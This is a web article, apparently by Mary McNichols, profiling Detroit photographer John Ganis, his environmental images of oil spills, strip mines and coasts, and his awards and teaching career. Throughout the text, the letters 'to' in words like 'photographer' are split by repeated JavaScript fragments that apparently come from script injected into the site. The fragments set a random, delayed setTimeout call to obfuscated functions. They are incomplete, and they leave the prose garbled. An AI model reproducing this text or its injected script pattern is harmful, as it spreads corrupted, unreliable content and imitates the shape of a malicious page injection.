A Conversation with John Ganis

Screenshot 2016-03-10 11.02.30A CONVERSATION WITH JOHN GANIS
Mary McNichols, PhD
Having described himself as “…a phodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tographic artist committed dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to issues of environmental concern…” (Artist Statement: Sea Rise and the Endangered Coast, 2010), Detroit-based phodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tographer John Ganis documents the all dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too frequently ruinous convergence of nature and culture in his images of a land despoiled of its beauty by unbridled expansion. Ganis’s phodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tographs of oil spills, strip mining sites, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toxic-waste dumps and threatened coastal regions are, yet, richly-rendered images whose aesthetic quality seemingly belies their disturbing theme. The sumptuous color of the artist’s panoramic pictures provides an effective and ironic counterpoint dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the disquieting nature of the subject matter; his adroit approach dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to composition (that which he describes as a “well-structured phodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tograph”) heightens the viewer’s perception of the content.

Despite the scars visited upon it by humanity, Ganis celebrates the land. He speaks of an “empathy” and a “reverence” for all of nature, and hopes that his phodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tographs will inspire his audience dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to appreciate its fragile beauty and, ultimately, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to replace a legacy of consumption with one of sustainability.

John Ganis was the recipient of the Harold Jones Distinguished Alumni Award, University of Arizona in 2008 and the Honored Educadom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor Award, Society for Phodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tographic Education, Midwest Region in 2007. Having joined the faculty of the Phodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tography Department at the College for Creative Studies in 1980, he has served the school as Department Chair as well as in his present position as Professor of Phodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tography.


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